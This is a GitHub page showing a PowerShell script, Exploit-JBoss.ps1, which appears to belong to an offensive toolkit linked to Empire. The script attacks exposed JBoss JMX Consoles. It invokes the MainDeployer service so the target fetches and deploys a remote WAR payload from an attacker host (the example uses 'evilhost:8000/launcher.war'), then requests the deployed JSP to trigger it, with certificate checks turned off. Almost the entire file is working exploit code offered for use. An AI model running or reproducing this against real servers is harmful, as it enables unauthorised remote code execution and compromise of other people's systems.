-
Notifications
You must be signed in to change notification settings - Fork 215
/
Exploit-JBoss.ps1
180 lines (140 loc) · 4.19 KB
/
Exploit-JBoss.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
function Exploit-JMXConsole
{
<#
.SYNOPSIS
PowerShell delivery for vulnerable JBoss JMX Console
.PARAMETER Rhost.
Host to exploit
.PARAMETER Port
Port to use.
.PARAMETER SSL
Switch. SSL.
.PARAMETER JMXConsole
Switch. The vulnerable service to exploit.
.PARAMETER AppName
Application name the WAR file deploys to. Empire defaults to "launcher".
.PARAMETER WARFile
Remote URL to your own WARFile to deploy.
.EXAMPLE
Exploit-JBoss -Rhost 127.0.0.1 -Port 8080 -JMXConsole -AppName launcher -WARFile http://evilhost:8000/launcher.war
.LINK
http://blog.rvrsh3ll.net
#>
[CmdletBinding()]
param (
[Parameter(Mandatory=$True)]
[String]
$Rhost,
[Parameter(Mandatory=$True)]
[Int]
$Port,
[String]
$SSL,
[Parameter(Mandatory=$True)]
[String]
$AppName,
[Parameter(Mandatory=$True)]
[String]
$WARFile
)
try
{
$URL = "http$($SSL)://" + $($Rhost) + ':' + $($Port) + "/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=19&arg0=" + $($WARFile)
$URI = New-Object -TypeName System.Uri -ArgumentList $URL
$WebRequest = [System.Net.WebRequest]::Create($URI)
$WebRequest.Method = "HEAD"
$Response = $WebRequest.GetResponse()
$Response.Close()
}
catch
{
$ErrorMessage = $_.Exception.ErrorMessag
Write-Output "[*] Error, transfer failed"
break
}
Start-Sleep -s 20
## Initialize the jar file
try
{
$URL = "http$($SSL)://" + $($Rhost) + ':' + $($Port) + '/' + $($AppName) + '/' + $($AppName) + '.jsp?'
Write-Output "[*] Invoking your file at " + $URL
$URI = New-Object -TypeName System.Uri -ArgumentList $URL
$WebRequest = [System.Net.WebRequest]::Create($URI)
$WebRequest.Method = "GET"
$Response = $WebRequest.GetResponse()
$Response.Close()
Write-Output "[*] You're file has been deployed."
}
catch
{
$ErrorMessage = $_.Exception.ErrorMessag
Write-Output "[*] Error, transfer failed"
break
}
}
function Exploit-JBoss
{
<#
.SYNOPSIS
PowerShell delivery for vulnerable Jboss instances. A java WAR file is required and not provided.
Example war maker from @harmj0y to use with PowerShell encoded commands:
https://gist.githubusercontent.com/HarmJ0y/aecabdc30f4c4ef1fad3/raw/fba7a93e15b862c63366c06b438ad37f7e5de525/psWar.py
.PARAMETER Rhost.
Host to exploit
.PARAMETER Port
Port to use.
.PARAMETER UseSSL
Switch. UseSSL.
.PARAMETER JMXConsole
Switch. The vulnerable service to exploit.
.PARAMETER AppName
Application name the WAR file deploys to. Empire defaults to "launcher".
.PARAMETER WARFile
Remote URL to your own WARFile to deploy.
.EXAMPLE
Exploit-JBoss -Rhost 127.0.0.1 -Port 8080 -JMXConsole -AppName launcher -WARFile http://evilhost:8000/launcher.war
.LINK
http://blog.rvrsh3ll.net
#>
[CmdletBinding()]
param (
[Parameter(Mandatory=$True)]
[String]
$Rhost,
[Parameter(Mandatory=$True)]
[Int]
$Port,
[Switch]
$UseSSL,
[Parameter(Mandatory=$True)]
[Switch]
$JMXConsole,
[Parameter(Mandatory=$True)]
[String]
$AppName,
[Parameter(Mandatory=$True)]
[String]
$WARFile
)
begin
{
if ($UseSSL)
{
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $True }
$SSL = 's'
} else {
$SSL = ''
}
}
process
{
if ($JMXConsole)
{
Exploit-JMXConsole -Rhost $Rhost -SSL $SSL -Port $Port -AppName $AppName -WARFile $WARFile
}
}
end
{
Write-Output "Complete. Your payload has been delivered"
}
}